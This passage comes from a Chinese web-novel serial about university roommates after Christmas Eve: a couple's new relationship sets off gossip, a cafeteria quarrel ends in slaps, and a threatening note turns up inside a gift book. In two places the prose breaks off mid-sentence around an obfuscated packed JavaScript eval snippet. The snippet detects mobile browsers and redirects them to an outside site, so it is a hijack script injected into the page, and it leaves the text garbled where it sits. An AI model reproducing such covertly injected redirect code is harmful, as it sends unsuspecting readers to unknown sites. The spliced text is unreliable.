我们不知道,今天早晨同样的对话在叶翔和凌静宜之间发生过了;凌静宜还拒绝了叶翔一起吃午饭的邀请,也否决了他送大家回学校的提议。 叶翔惴惴不安,觉得凌静宜反悔了。他心里忐忑,这试用期不会还没开始就宣告结束吧。可他不敢问,不问还能装作不知道,问了万一…… 就在他纠结犹豫踌躇时,凌静宜给了他一颗定心丸。 “你在想什么呢?”凌静宜在叶翔面前晃了晃手,十分不满他的心不在焉。 “没……没想什么……你刚刚说什么?” 凌静宜嗔怪道:“你能不能专心点?!我前面说,为了更好地履行权责和规范彼此的行为,在求同存异的大前提下,我们探讨下男女朋友的权利义务。” 叶翔立马精神了,求生欲满满,“应该的,以后我再在你说话时走神,就罚我!” “懒得理你。” “那……小静……”他顿了顿,“我能对外公开吗?” “随你。毕竟……试用期不过的话,丢脸的可不是我。” “好的,小静。” 凌静宜忍住想要翻白眼的冲动,向右上方斜45°角的方位看,“你干嘛一直叫我小静,好像在哆啦A梦动画片里。” “可是……情侣之间不应该有昵称吗?” 凌静宜想了想自己开口喊叶翔“小翔”的情景,禁不住打了个冷颤,浑身恶寒,毛孔直立。如果让她天天喊这个所谓的昵称,还不如杀了她。 “反正不准喊小静,小宜,还有……我讨厌各种叠字。记住了吗,叶先生?” “好的,凌小姐。”叶翔心虚地摸了摸鼻子:其实,好想喊老婆。媳妇儿也行。叶翔在心里默默喊了好几声“老婆”,终于把自己哄开心了。 “那干嘛不让我送你……你们回学校?” 凌静宜终于忍不住翻了白眼,“你不知道我们现在多少个人吗?” 我们更不知道的是,这两个变态昨天睡得晚,却完全不耽误他们今天起得早。在我们睡醒前,他们喝了咖啡,读了财经报纸,并草拟完了恋爱条例。 然后,叶翔像只花蝴蝶一样给萧楠打电话,凌静宜受不了他炫耀的口吻,想一脚给他踢出去,怎么能这么幼稚! 叶翔腻歪了半天后终于出门了,凌静宜不由按了按自己的太阳穴,谁能告诉她,男朋友太黏人了该怎么办? 幸好,她在恋爱执行表里规定了自由活动时间。她自行鉴定,对连体婴这种情感浓度,完全接受不了。如果不给她自由呼吸的空间,那她宁愿单身一辈子。 …… “我们接下来去哪儿?”许苑薇发问。 “回学校。正好一车。” “有吃的吗?”陈梦晓从外面跑步回来,毛巾绕在右手小臂处,冲着凌静宜喊。 “我又不是你妈。自己去厨房找。” 话音未落,门铃响了,外卖早餐送到。居然是鼎鼎有名的“祥昌记”家的粤式早茶:肠粉、叉烧包、虾饺、烧卖、蛋挞、流沙包、糯米鸡、艇仔粥……每种点心一式两份,配上铁观音——又是喂猪的分量。 论拍马屁,叶翔是有一套的。 我们纷纷猜测叶翔究竟是什么星座的,居然能细致到这个地步。 许苑薇胸有成足地点评:“不是巨蟹就是双鱼,反正肯定不是火象三傻。” “火象三傻”波及面略广,李离像炸了毛的猫一样跳起来,“火象怎么傻了,你才傻。”——噢,对了,她是狮子座,难怪每次炸毛都像龇牙咧嘴的布偶猫。 陈梦晓也在旁边懒洋洋地反击,“我们射手座也没招惹你们处女座。” “我……不是这个意思。”许苑薇嗫喏着,“一直听小叶说,没过脑子就直接说出来了。” 刘小叶真是个神婆,怎么她不在还能引发一场血案呢?! 再争论下去,就要涉及星座鄙视链了。我赶紧打断她们,把话题引向“叶翔一大早去哪儿了”这种乏味且其实我并不关心的问题。 陈梦晓果然不负期望,一头扎进了我的“圈套”里。李离瞪了我一眼,我偷偷冲她笑了笑,她别过脸,显然还在生气。我拽着她的袖子,讨好地给她夹了一个虾饺。 凌静宜慢条斯理拿湿纸巾擦拭手指,“别猜了……他说公司有事要处理。” 李离恶狠狠地咬一口虾饺,哀叹:“不怕富二代有钱,就怕富二代比穷人还努力。我本来以为叶翔只有一副好长相……” “谁说的,还有一副好身材。”凌静宜面不改色地纠正。 陈梦晓瞠目结舌,“小西,你听听……这还让不让人活了。” 许苑薇的脸红了,埋头啃糯米鸡。 我们一行人吃了早饭,开车回学校。我们当中,我是本本族,其余全是“驾照盲流”,当然只有凌静宜开车。陈梦晓坐在副驾驶,许苑薇、我和李离挤在后座。 起初,李离偏头靠着车窗,好像在观赏外面的风景。我轻轻扯了扯她的衣角,低声说:“还生气呢?我不是偏帮她。而且,你都吃了我给你夹的虾饺了,不能跟我生气了。” 她斜睨了我一眼,“谁有空跟你生气,再说,那个虾饺是你买的吗?” 我说:“我借花献佛呀。” 她给了我个白眼。过了一会儿,她靠过来,跟我咬耳朵,“说真的,他们俩真的是绝配,一个冷心毒舌,一个狡猾腹黑。” 李离脾气不算好,可我们吵架,最多一天,她就会找各种理由来讲和;有时候拉不下面子,只要我稍微递个台阶,她马上就顺着下来,从不含糊。 “谁毒舌谁腹黑?”我跟她是不是身体在同一个空间,思维却在两个平行世界。怎么我听不懂她在说什么。 她冲驾驶座抬抬下巴,“你相信他们才好上?” 我在心里嘀咕,是不是真好上还两说呢。就凌静宜那一副“谁挡着我搞事业,我连天王老子的面子都不给”的架势,她的大女主剧本里有没有男人的一席之地都难说。 凌静宜打开音乐,从一堆英文歌、西班牙和意大利歌曲的歌单里搜寻,手指轻轻一点,流畅的音乐倾泻而出。 从外观上谁能看出,她这辆不过三十多万的代步车,内部全改装过了,包括音响。《You raise me up》从“英国之宝”里传出来时,高贵清澈的音色迅速俘虏了我,听着美妙的音乐,穿过繁华的街道,向着荒芜的郊野逼近,这一幕,突然有了一种悲凉的浪漫。如果现在不是清晨而是日暮,我们无疑像末日逃亡。整条道上只有我们一辆车,视野所见之处,从高楼变为旷野。 我默默掏出手机,打开备忘录记录此刻喷涌而出的文字。很多人习惯用手机写作,而我仍然喜欢在电脑上敲击键盘的感觉。手机对我来说,只是记录片段和灵感的工具。 换了歌单,在柴可夫斯基《意大利随想曲》的环绕下,我安静地打字,李离和许苑薇堕入更深的睡眠…… 在我们飞驰回铭盛时,叶翔正在祥昌记等萧楠和陆亦。 他要了个包厢,面前放着一笼虾饺和一客蛋挞,左手边一壶招牌铁观音。 萧楠和陆亦一前一后进来,他挑了下眉,“你们俩不会这么巧在门口碰上的吧?” 他俩没有好脸色,一人一言开始控诉。 “你们不接我电话,怪我咯?”叶翔给自己斟了一杯茶,慢条斯理地吹凉,浅浅喝了一口。 更让他们崩溃的是,叶翔像看智障一样看着他们说:“都到门口了,你们不会不敲门啊?” “敲门?打电话都吵不醒你这只猪,敲门有鬼用?!”萧楠几乎是咬着牙挤出这句话。 “她们几个全睡在客厅,你们敲门,没准儿有人能听见。” 萧楠和陆亦差点没当场石化。 “我跟你们说,以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997379|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们要是有事儿找我,要提早一个星期约我……”他顿了顿,那两人端着茶杯说小话,就是不搭理他。 叶翔咳嗽了几声,试图拉回他们的注意力,“毕竟我现在是有女朋友的人了……时间安排上没有那么自由。” 为了阻止叶翔继续炫耀,萧楠和陆亦互相斟茶倒水,叫服务员点餐。 即使如此,叶翔还是见缝插针地显摆。萧楠终于忍无可忍,重重地把杯子往桌上一放,“你还有完没完?不就是谈个恋爱,要不要给你个喇叭去门外喊?” 叶翔开心地笑了,“嫉妒……你这纯就是嫉妒。” “你有什么值得我嫉妒的?”萧楠嘟嘟囔囔:“脱单而已。” 叶翔不慌不忙,慢条斯理地摆谱,“昨晚,我们玩了真心话大冒险……” 萧楠和陆亦对视了一眼,从彼此的眼神里看到兴味的火花,这家伙!怎么不早说!!他肯定是故意的! 陆亦起身给叶翔倒了一杯茶,又殷勤地夹了一个虾饺皇放在他面前,“萧楠不懂事,别跟他计较……说说昨晚的事儿?” 叶翔已经拿够了乔,也显摆得差不多了,简要挑了昨天一些自认为关键的事儿,用流水账的方式向他们倾倒平安夜见闻。 萧楠边听边摇头,深刻地感受到了兄弟的不靠谱。这一堆信息里,几乎没什么有用的。谁想知道“他家凌静宜喝多了超可爱”,“欧祈和刘小叶吵架了”……直到他说“陈梦晓和周小西接吻了”,收获了两副瞳孔地震。 “你说什么?!再说一遍!”萧楠嚷了起来。 “你那么激动干什么?是陈梦晓和周小西接吻,又不是我跟周小西接吻。” 萧楠转过头去,望着陆亦,声音发颤,“你确定……陈梦晓不喜欢女孩子?” 陆亦呆在原地,木然摇了摇头。 “只是玩游戏,你们那么认真干嘛?” 萧楠愤恨地瞪了他一眼,“你懂个P!” 此时此刻,陆亦的脑子里只盘旋着一个念头,他知道陈梦晓有一众迷妹,可他一直认为她是直女。他努力回想周小西的长相,思忖陈梦晓喜欢周消息有多少可能性。片刻后,他从牙齿缝里挤出几个字,“你们觉得,周小西好看吗?” 随后,他拉住萧楠,“你别说话。她在你眼里就是天仙。” 叶翔正往嘴里塞虾饺,陆亦紧张兮兮地盯着他。 他嚼了几下吞下去,再喝了一口茶,不紧不慢地回答:“撇开个人喜好,以纯男性的角度,绝对是美女。还是不安于室的那一类。” “怎么说话呢?!”萧楠高声说。 “她往那一站,有多少男的想入非非啊!”叶翔同情地看了眼萧楠,“就算她成了你女朋友,也会有人撬墙角。” 然后,他又看向陆亦,“你那位也一样,只不过虎视眈眈的都是姑娘。” 萧楠和陆亦的紧迫感和危机感达到了空前的地步,要说从没想过这件事,完全是掩耳盗铃。周小西和陈梦晓有多受欢迎,有目共睹。更让人气愤的是,铭盛的校长怕不是学道的吧,讲究什么阴阳协调。放眼全国,大概都没有像铭盛男女生人数那么均衡的学校。 “你还能吃得下去,真不够哥们!”萧楠临走扔下一句,从叶翔手里抢走了最后一个流沙包。 叶翔一脸不可思议,合着他不应该吃得下去,得把好吃好喝的都留给他俩?他望着面前一大桌吃的,那两人几乎把祥昌记的招牌早茶点了个遍。要什么吃的没有?非要抢他的!!早知道不提昨晚的真心话大冒险了。 突然,焦虑席卷了他。说起来,他家小静也一堆追求者,还有个ex虎视眈眈。他怎么还能跑出来瞎嘚瑟呢?!这一宿舍的姑娘们,就没有一个不遭人惦记的!!! 叶翔马上没了食欲,掏出电话,打给凌静宜。 无人接听。 他赶紧买单,开车回学校。 在道路上飞驰,他回味昨晚那个甜蜜的吻,不由慨叹:如果时间停在平安夜,是一个多么完美的happy ending。不用患得患失,如咖啡上的拉花一样美好。 可惜,时间一直不停地往前奔跑,我们必须马不停蹄地追赶快乐和幸福。 谁都不知道,命运给我们安排的未来里会有什么,也许是双倍浓度的快乐,也许是三倍浓度的悲伤…… 44.第 44 章 长了翅膀的不一定是鸟,还有小道消息。 我们回到学校时,一路有人向我们行注目礼,窃窃私语断断续续飘进耳朵。看来,在我们回学校之前,叶翔和凌静宜在一起的消息就传遍了整个铭盛校园。我猜想,大概有很多女生想拿到凌静宜的生辰八字,然后扎小人诅咒她。 中午去食堂吃饭,有些人经过我们身边时,会多看凌静宜两眼。顺便扫视我们一圈。这当中敌意最浓的当然是庄子羽一行。她大概原先对叶翔抱着志在必得的心思。 “我们不会被当做人民公敌吧?那可太糟糕了。” 刘小叶虽然嘴上这么说,可她的表情出卖了她——她巴不得全世界女生都把“我们”当作焦点,享受如明星一般万众瞩目的待遇。 今天上午我们回到宿舍,她在厨房里切水果倒酸奶,宛若一位贤妻良母。我一度怀疑是不是有外星人冒充她,不过两颗肿得像水蜜桃一样的眼睛向我证实,昨天半夜在电话里哭天抢地,仿佛世界末日的女人确实是她,如假包换。 “你跟欧祈没事了吧?”许苑薇担心地问。 “没事儿……能有什么事儿。” 刘小叶一脸轻快的表情,让我怀疑昨晚是不是我喝多了出现幻觉。她真的给我打过电话吗? “后来你俩没吵架吧?”陈梦晓撸了撸袖子,“他要是敢欺负你,你一定要告诉我们。我帮你修理他。” “吵架?我们怎么会吵架?”刘小叶一脸震惊,“欸?对了,昨天我不是跟你们一起过平安夜吗,我怎么会一个人回来?” 我们面面相觑。 “断片儿了。”李离用嘴型跟我说。 凌静宜没管她,从冰箱里拿出两根形状非常奇怪的东西,冲着刘小叶喊“闭眼”之后怼在了她眼睛上。刘小叶拉住她的手,刚说了一句“人家好感动”,凌静宜就甩开了,“自己拿着,五分钟之后放下来”。 多亏了她的义举,不然刘小叶现在就要顶着两颗胡桃眼,在食堂接受众人的“瞻仰”(她自己的原话)。 凌静宜一副无所谓的样子,虽然她是当事人,可她满不在乎地说:“愿意看就看呗,老娘又不是见不了人。” “与其担心她,你们还不如担心担心我。”我无奈地叹了口气。 “又有女生要你离开小陈哥啊?”许苑薇同情地看了我一眼,跟刘小叶交换了个心照不宣的眼神。 陈梦晓正埋着头啃鸡腿,她头都没抬,“别诬陷我,最近女生给我写信的数量少了。” “从十封减少到了九封,有什么值得骄傲的。”刘小叶眨着她的大眼睛,托着腮帮子,灵魂反驳。 “小陈哥,你读过那些女孩子的信吗?”许苑薇非常好奇地问。 “有什么好看的,你问周小西吧。”陈梦晓继续啃她的鸡腿,“我收到的信都给她了。” 李离的视线在我和陈梦晓之间来回扫视,就像有个看不见的兵乓球在她的视野里来回弹跳。 “你们真的没什么吗?”她狐疑地打量我,深切怀疑找到了我对男生不感兴趣的源头,“昨晚你们还亲嘴了!” “你小点声!”我拍了她大腿一下。 李离“哎呦”了一声,摸着大腿瞪我一眼,“真下得去手”。 “看上去像蕾丝边的,到最后都只是好姐妹。”凌静宜扔下鸡骨头,拿餐巾纸擦了擦手,然后从包里掏出湿纸巾又擦了一遍,“而看上去八竿子打不着的,也许随时准备去滚床单……” “这么复杂?”李离皱了皱眉头。 “真真假假,只有当事人知道。你猜也白猜。”凌静宜露出洁白的牙齿笑了笑。 许苑薇紧张得要命,“别说了……有人看我们了。” 李离转头压低声音问我:“小西,你给个真话。” 对她这种莫须有的猜测,我实在懒得回应。眼下,我的脖子和整条颈椎疼得要命,僵硬得像只木乃伊;昨晚难道有人把我做成了牵线木偶,扯着我表演了一出“武松打虎”吗?只是在地板上睡了一晚,我也不是豌豆公主,身骄肉贵的毛病不是早就应该在“平凡女生”周小西身上消失了吗? 李离把目光投向陈梦晓,正好她啃完了鸡腿,抬头夹我餐盘里的牛肉粒,呲着牙回了她一句:“你猜。” “宫保鸡丁没人吃吗?谁帮我递过来。”凌静宜意兴盎然地用目光盘点桌上的食物,今天她的胃口意外得好,以前她从不碰宫保鸡丁,嫌太油腻太重口。 “郑筱最喜欢吃宫保鸡丁了。”许苑薇看着那盘没怎么动过的菜,突然蹦出这么一句话来。然后,她低下头,用筷子戳米饭。 说起来,郑筱很久没跟我们一起吃饭了。其实这一段时间,我们见面的机会都很少,就连跟她同住一个房间的许苑薇都很少碰见她。她说最近郑筱在她醒之前就出门了,睡着了才回来。她确实错开了跟我们有交集的大部分时间。我回想上次见到她时的模样,她的黑眼圈很重,看上去很疲倦。 李离对郑筱印象很深,毕竟是那么漂亮的一个姑娘,只不过显得不怎么合群,“她好像很忙,平安夜也没跟咱们一起过。” “我猜她肯定是有男朋友了。”刘小叶跟陈梦晓抢最后一块肉片的同时发挥她的八卦精神。 “你又知道了。”我呛了她一句,“没准她有更重要的事情。” “我们宿舍第一次正式的聚会,她都缺席。还有什么事情比这个重要?”刘小叶不服气地反驳。 随后,刘小叶这个八卦精很不仗义地分享男生们追郑筱的场景,李离一会儿张开嘴一会儿瞪大眼睛。别说她了,连我都是第一次听说那些桥段,差点误认为自己在看莎翁情史原片或型男撩妹记。 许苑薇瞪大眼睛,一副难以置信的样子,“好浪漫哦,好羡慕。” 凌静宜邹着眉头说:“那些男的知道现在是21世纪了吗?用这么老土的手段,难怪郑筱不搭理他们。” 她隔空点了点许苑薇的额头,说:“你这种最好骗了,是该多见识见识。” 刘小叶仿佛得到了许可,兴致高昂地说各种她知道的绯色新闻,我怀疑她干了不少添油加醋的事儿。 就在我们热火朝天讨论的时候,旁边有人冷哼了一声,很大声地说:“那些自封的什么校花系花,不知道用了什么狐媚手段,把整个铭盛的男生迷得晕头转向。我呸!” 是那个讨厌的庄子羽!没有指名道姓,可周围的人都知道她在说谁。她身边只有大饼脸和双马尾,四眼妹缺席。 凌静宜翻了个白眼,“不知所谓。” 庄子羽继续指桑骂槐,“人丑还不安分,也不看看自己跟校草的差距有多大。” 凌静宜把湿纸巾往桌上一丢,“真是给她脸了。” 她站起来,闲云野鹤一样踱到她们桌子旁边。低头看了看放在椅子上的LV包包,像闲话家常,“在哪儿买的A货?成色还不错嘛。” 我赶忙跟着她过去,刘小叶紧张兮兮地拉着小陈哥,“今天我们人多,不用怕她们。” 双马尾的脸瞬间黑了,她的眼睛瞪得快凸出来了,但她瞪眼的对象并不是凌静宜,而是对面的庄子羽,“她说的是真的吗?” 庄子羽脸涨成猪肝一样,“你别听她胡说八道,她这明显是在挑拨离间。” 凌静宜马上明白了,按照她一贯的作风,打蛇不打七寸怎么可能? “我恰巧有个同款,要不要拿来对比对比?”凌静宜似笑非笑,“就A货来说,这只品相不算差的。自己背背也就算了,何必冒充正品送出去诓别人呢?” 双马尾气愤地把包往地下一扔,头也不回地冲出了食堂。大饼脸伸手去拉双马尾没拉住,她嗫喏着:“子羽,要不要把小雅追回来?” 庄子羽没好气地冲她吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012647|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“追什么追!因为一只包就这么对我,追她干嘛?!” 刘小叶惋惜地看着地上那款印满Logo的包包,尤其是听陈梦晓说做得好的A货也得几千块时,她更感觉惋惜。这些人这么如此奢侈浪费呢! “凌静宜,你敢当面拆我的台!”庄子羽恨恨地看着凌静宜,面容扭曲,眼睛里快要喷出火来。 凌静宜提高了声调冲她喊:“怎么?难道学你只敢在背后说别人吗?” 庄子羽突然伸出手抓向凌静宜的面孔,我虽然防着她,却压根没想到她出手那么快。陈梦晓算反应快了,在庄子羽出手的一瞬间就伸手拦截,可她身前挡着刘小叶,鞭长莫及。她的指甲就要抓到凌静宜了。我闭上眼睛不敢看,然后听到清脆的巴掌声,“啪”的一声异常响亮。 “听说上次你想打周小西?”话音刚落,庄子羽脸上就挨了结实的一巴掌,“这一巴掌是教训你不要乱说话。” 庄子羽一脸不敢相信的样子,没反应过来又挨了一巴掌,“这一巴掌是教训你敢做就要敢认。” 我也一脸不敢相信,凌静宜是怎么躲开的?!我还在企盼叶翔从天而降,英雄救美。 庄子羽左手捂着脸尖叫:“你居然敢打我!” “想打你就打了,还要挑日子吗?”凌静宜斜睨她。 可惜叶翔不在场,错过了凌静宜这么霸气的场面。 “你是死人吗?还不帮我!”她冲大饼脸喊。自己也迅速扬起右手,想去抓凌静宜的头发。 陈梦晓已经冲到了我们身边,她抓住庄子羽的右手使劲往后一推。她一个踉跄,要不是身后的大饼脸用身体挡住,绝对会一屁股跌坐在地上。 “想打群架随时奉陪,可你们俩加起来都不够找揍的。”陈梦晓捏了捏拳头。 “好帅哦。”围观的人群里悉悉索索发出窃窃私语。没有人站出来阻止,甚至有人低声窃笑。大概平时很多人看不惯庄子羽的做派,她仗着自己家境不错嚣张跋扈,也有不少女孩子受过她们小团体的欺负。 “子羽,她们人多势众,我们还是别惹麻烦了。”大饼脸缩着脖子,胳膊紧紧夹着,拉住庄子羽的袖子。 庄子羽勃然大怒,她甩开大饼脸的手,骂了一句“怂货!”,昂首阔步地向我们走过来。 “凌静宜,你好样的!给我让开,这笔帐迟早我会找你算。” “随时恭候,随时奉陪。”凌静宜双手交叉抱在胸前,“可别当缩头乌龟不敢来。” 从我身边经过,她挑衅地说:“周小西,下周操场等你!” “死三八,谁要去操场见你!”刘小叶冲她大喊了一声,看她的架势恨不得把鞋子扔到庄子羽头上。突然,她反应过来,转头问我:“你不是跟她一起上排球课吧?!她是不是欺负你了?” 我想自己解决这件事,“没有啊,你想多了。” “那就好。不然我们应该揍得她满地找牙。”刘小叶信誓旦旦地说。 凌静宜看了我两眼,若有所思。 下周的排球课是这个学期最后一节练习课,再接下来就考试了——我下次一定早点选课,拖延症真的会害死人。我对自己发誓,这一周要跟着小陈哥苦练体能和排球技巧,下周排球课上以牙还牙。 此时,叶翔正在赶回公司。凌静宜原本给他编了个能上台面的理由——她实在说不出口叶翔去跟好基友们聚会了,主要目的是炫耀。没想到一语成谶。 只差十公里就到铭盛了,他接到了简瑞洺的电话,说有公司向他们公司发起了收购,要他赶紧回趟公司。他心里冒火,嘴上咒骂:“哪个倒霉公司这么卷,就算中国人不过圣诞节,周末也不放假吗?!无良老板!” 调转车头回市区,他打定主意,不管哪个公司想收购他们,他都不同意。一旦被这种资本家收购,能不能允许他们保证游戏质量,是个未知数。 45.第 45 章 人群散了,我们商量怎么度过这最后的半天假期。许苑薇提议集体去看场真正的电影——最近在上一部美国大片,而我们的阶梯教室永远放的都是好几年前的老片子。 突然刘小叶尖叫了一声:“呀!我们昨天都忘记抽礼物了。不然还是先回宿舍吧。” “礼物又不会跑,还是先去看电影吧。”许苑薇嘟囔:“去市里还要一个半小时呢。” 刘小叶缠着许苑薇软磨硬泡,“好许许,我们先回去抽礼物嘛。” 许苑薇扭过头不理她。 刘小叶继续腆着脸拉着许苑薇的袖子打商量,“如果我抽中你想要的,我不跟别人换。” 这相当于许苑薇在刘小叶那儿享有优先兑换权。在她主动放弃权利口头订立不平等条约之后,许苑薇终于被打动了。其他人其实对看电影和拿礼物的先后秩序没什么特殊要求,刘小叶如愿以偿,兴高采烈地催大家回宿舍。 彩灯仍然闪烁着,只是在白天远不如在夜晚闪耀浪漫。尽管如此,包裹着精美包装纸堆在圣诞树下的礼物,还是让我稍稍兴奋了一下。 圣诞节,就应该有圣诞树,也应该有堆在圣诞树下的礼物。 我如愿抽到了自己想要的那一套精装版《哈利·波特》,刘小叶运气就不是太好了,她想要的全套少女漫画被陈梦晓抽到了,而她拿到的是李离想要的八音盒。 凌静宜拿到了Google Home,一脸嫌弃地往旁边推了推,“我不想要一个放大版的siri,谁拿到了我的Dior口红?” 李离举着扎着白色丝绸蝴蝶结的纸袋,“在我这儿。” 许苑薇用口红从李离手里换到了她想要的《微观经济学》和《宏观经济学》全套练习册+文具礼盒,刚刚正忙着欣赏自己的礼物。说实话,李离拆掉礼物包装的瞬间,我们瞠目结舌。不得不说,不愧是许苑薇,我实在想不出,除了她之外,谁想要这种礼物? 阴差阳错,Google Home还是到了李离手里,“这是谁要的礼物?我用它换八音盒。” 陈梦晓看了一圈,没看到自己想要的礼物,她生气了,“谁抽到了我写的纸条?是买不到还是没有买?怎么一点契约精神都没有。” “怎么可能!我明明放树下了。”刘小叶气鼓鼓地跑向圣诞树,“我还用了黄色□□熊的包装纸呢!” “欸?这是我买的那份礼物,为什么会多出来一份?”她把礼物从地上抱起来,向陈梦晓晃着证明她没撒谎。 “哦,本来Google Home是买给李离的,我一起放在礼物里了。” 凌静宜一副了然的表情,她同情地拍拍李离的肩膀,“难怪你不想要周小西的礼物。” 陈梦晓喜滋滋地从刘小叶手里接过盒子,“那我不用找人换了,直接入手。” 她三下五除二拆开包装纸,刘小叶大呼小叫:“小陈哥,你太粗鲁了!包装纸都拆破了!” 陈梦晓不搭理她,只是在手上旋转着斯伯丁74-108篮球。 经过不断来回交换,所有人都拿到了自己心仪的礼物。 刘小叶说:“换来换去的太费劲儿了。” 我看了看她,“那抽到哪个礼物就哪个,不允许交换。” 如果这样,只有我是赢家。 她们纷纷抱紧了自己的礼物,纷纷表示,“不麻烦不麻烦!” 凌静宜对Google Home的嫌弃更明显了,李离打了个冷颤,经济学参考书还是算了吧。 许苑薇建议把多出来的Google Home送给郑筱,凌静宜说:“我要是她,才不会接受。这破玩意儿有什么用啊,她肯定嫌弃。” 我懒得向她们解释Google Home的强大功能,哼,这一群科技盲流。眼下,我忙着拆掉书籍塑封——用小刀割一个小口子,撕掉包裹新书的塑料膜,是我最喜欢的过程。美中不足的是其中两本的塑料膜破了,我的愉快稍稍打了折扣——就算纸媒时代过去了,也不能这么敷衍吧——我飞快撕开一本破损的塑料膜,摩挲着新书封皮,闻着油墨的味道,小插曲不算什么了。 开心地翻着书页,突然掉出一张对折整齐的纸张,我猜想可能是随书附赠的物料,要么就是新书推荐之类的宣传页。我捡起那张折纸,搁在桌子上,继续拆另外几本。这一套礼物,真让我心花怒放。 我欣赏完书籍,准备看看附赠品。有时候,赠品做得十分有意趣,精致可爱。说不定是角色卡片或画报之类的周边。如果是角色画报,就是意外惊喜了。把折纸放在书封上,我满怀期待,打开了折纸——上面触目惊心的黑色字体,加粗的“婊子”“□□”“贱货”,还有一摊溅开的红色液体,不知道是墨水还是鲜血。头皮整个麻了,全身的毛孔张开,疯狂叫嚣着恐惧。我尖叫了一声,连纸带书扔了出去。 原本在谈笑风生的她们也被吓到了,凌静宜捡起书和纸,眼睛眯起来,“太过分了!这是谁干的?! 她们围上去看了一眼,脸色全变了。 我浑身发抖打颤,李离和刘小叶围上来,一左一右圈住我。李离拍着我的脊背安慰,“小西,别害怕,别害怕。” “这个……塑封都没拆,大概……不是……恶作剧……” 我牙齿打架,浑身颤抖。 刘小叶给我端了一杯热水,“小西,喝水。” 凌静宜脸都黑了,“书店都不检查就出售吗?!我打电话投诉他们!” 书店信誓旦旦地宣称不可能会出现这种事情,听说有两本书塑封是破的,他们更推得一干二净,说他们书店不会出现包装破损售出的情况。 “小西的礼物是谁买的?” 许苑薇吓得脸都白了,她哆嗦得像一片被秋风吹落的树叶,“是我……” 凌静宜皱着眉问:“你买书的时候塑封是好的吗?” 她带着哭腔,“我……我想不起来了……” 凌静宜走过来又走过去,“这件事有两个可能,一个是不针对单独的任何人,是针对我们宿舍;还有一个,就是针对小西个人。但现在没办法判断。” 李离用手摸那滩已经凝固的液体,用手指捻了捻,“应该是红墨水。” 刘小叶从凌静宜手里把纸拿过去,很气愤地扔在地上狠狠踩了两脚,“这太恶心了!到底是谁这么可恶?!” 拆礼物的快乐被这个插曲打得支离破碎。 “我会查出来是怎么回事。”凌静宜面色凝重,“小西这段时间不要一个人,我们轮流陪着。” “肯定是庄子羽,太可恶了!”刘小叶气呼呼地攥紧了拳头。 陈梦晓犹豫了片刻,说了自己的想法,“我觉得,这件事倒不一定是她干的。” 凌静宜赞同,“庄子羽是只纸老虎,她那个智商,干不出这么缜密的坏事。” 她在安慰我时思索:塑封是在哪儿弄破的;如果不是书店弄坏的,那外包装为什么完好无损呢? 我望着地上那张带着刘小叶脚印的纸张,恐惧渐渐散去,仍然感觉不舒服。红色墨水飞溅的姿态,加黑加粗刺眼的词语,像是张牙舞爪的猛兽。 理智渐渐回笼,我开始思考:如果说谩骂是针对我的,那必须知道哪一份是我挑中的礼物,知道的人全都在这里了;况且,从这个人的用词来看,与其说是羞辱,更像是气急败坏的挑衅。如果是庄子羽,她针对的人应该是凌静宜而不是我。看起来更像是针对我们宿舍。 我把自己的想法告诉她们,凌静宜眉头紧锁,“如果是这样,范围可就大了。” 刘小叶嘟嘟囔囔:“我还是觉得是庄子羽,现在最讨厌我们的就是她。” 突然,房门吱呀一声开了,郑筱走了出来。她似乎丝毫没有感受到现场的氛围,慢条斯理穿上外套,裹上围巾,冲着我们露出一个明媚的笑容,“圣诞快乐!你们都吃过饭了吧?” 对着她灿烂明媚的笑容,我突然打了个颤——我们刚刚那么大动静,她完全没听见吗? 大家都望着她,可没人回答她。 “你们今天还安排了什么活动吗?”她似乎也不在意。 凌静宜看着她,突然问:“你一直都在宿舍里吗?” “对啊。昨晚回来之后,我就没出去了。你们吃饭也没叫我。” 许苑薇连忙解释:“我们回来直接去食堂了,没想到你在学校。” “小西的礼物被人动了手脚,从昨天开始,这些礼物就放在宿舍里。”凌静宜盯着郑筱说。 郑筱的笑意僵在脸上,“你们怀疑我?” 凌静宜皱着眉毛捡起那张被刘小叶踩了几脚的折纸,递到她面前,“只是想问问你,在宿舍时有没有什么不寻常的事情。” 她看也不看那张折纸,脸色煞白,很气愤地喊:“刘小叶不也一直在宿舍里,怎么没人问她?” 被点到名的刘小叶一脸懵,“我?我怎么可能会干这种事儿!” 郑筱满脸通红,“所以我就会干这种事儿?” 许苑薇走上前打了个圆场,“郑筱,你误会了。我们不是那个意思。” “那是什么意思?!” 陈梦晓也走上前劝说:“你别多想,凌静宜不过就是问一嘴。” 郑筱似乎受了很大委屈,她倔强地咬了下嘴唇,“随你们怎么想,我还有事。麻烦让开。” 她撞开陈梦晓,头也不回冲了出去。 许苑薇望着她的背影,声音低低的,“我们是不是有点过分。” 凌静宜气压也很低,“莫名其妙!那么敏感干什么?我只不过想问问,她有没有看到什么可疑的人。” “晚点再跟她道歉吧。”我回想了自己拆礼物的过程,十分肯定一件事,“我拆礼物的时候包装纸是完好的。” 李离往我身边凑了凑,打了个哆嗦,“怎么感觉更毛骨悚然了?” 这成了一件悬案,虽然没有对任何人造成实质性的伤害,可它破坏了我们之间的信任。郑筱和我们不欢而散。从这一天开始,她没再跟我们说过话。即使是跟她住一个房间的许苑薇,她也不搭理。对所有人,她采取一视同仁的态度——不理不睬。 